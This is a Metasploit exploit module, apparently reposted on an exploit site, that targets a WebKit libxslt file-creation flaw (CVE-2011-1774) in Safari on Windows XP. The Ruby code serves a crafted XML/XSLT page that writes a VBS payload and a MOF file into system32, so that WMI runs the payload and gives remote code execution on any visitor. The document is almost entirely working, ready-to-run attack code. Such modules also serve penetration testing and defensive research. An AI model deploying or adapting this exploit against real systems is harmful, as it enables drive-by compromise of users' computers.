Apple Safari Webkit libxslt Arbitrary File Creation

LLegoLLaS · October 18, 2011


##
# $Id: safari_xslt_output.rb 13987 2011-10-18 07:39:50Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

def initialize(info = {})
super(update_info(info,
'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation',
'Description' => %q{
This module exploits a file creation vulnerability in the Webkit
rendering engine. It is possible to redirect the output of a XSLT
transformation to an arbitrary file. The content of the created file must be
ASCII or UTF-8. The destination path can be relative or absolute. This module
has been tested on Safari and Maxthon. Code execution can be acheived by first
uploading the payload to the remote machine in VBS format, and then upload a MOF
file, which enables Windows Management Instrumentation service to execute the VBS.
},
'License' => MSF_LICENSE,
'Author' => ['Nicolas Gregoire'],
'Version' => '$Revision: 13987 $',
'References' =>
[
['CVE', '2011-1774'],
['OSVDB', '74017'],
['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 20 2011'))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Check target before attacking
agent = request.headers['User-Agent']
if agent !~ /Windows NT 5\.1/ or agent !~ /Safari/ or agent !~ /Version\/5\.0\.\d/
print_error("This target isn't supported: #{agent.to_s}")
send_not_found(cli)
return
end

url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'] + get_resource() + "/"

content = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
This is needed, in order to later reference the XSLT stylesheet by a #fragment
This trick allows to have both the XML and the XSL in the same file
Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>]>
<doc>

<!-- Define location and content of the files -->
<mof>
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location>
<content><![CDATA[#{@mof_content}]]></content>
</mof><vbs>
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location>
<content><![CDATA[#{@vbs_content}]]></content>
</vbs>

<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sx="http://icl.com/saxon"
extension-element-prefixes="sx"
xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />

<!-- The XSLT template -->
<xsl:template match="/">
<!-- Define some XSLT variables -->
<xsl:variable name="moflocation" select="//mof/location/text()"/>
<xsl:variable name="vbslocation" select="//vbs/location/text()"/>
<!-- Create the files -->
<sx:output file="{$vbslocation}" method="text">
<xsl:value-of select="//vbs/content"/>
</sx:output>
<sx:output file="{$moflocation}" method="text">
<xsl:value-of select="//mof/content"/>
</sx:output>
<!-- Some output to the browser -->
<html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
EOS

#Clear the extra tabs
content = content.gsub(/^\t\t/, '')

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, content, {'Content-Type'=>'application/xml'})
handler(cli)

end

def exploit
# In order to save binary data to the file system the payload is written to a VBS
# file and execute it from there via a MOF
@mof_name = rand_text_alpha(rand(5)+5) + ".mof"
@vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"

print_status("Encoding payload into vbs...")
payload = generate_payload_exe
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

print_status("Generating mof file...")
@mof_content = generate_mof(@mof_name, @vbs_name)
super
end

end
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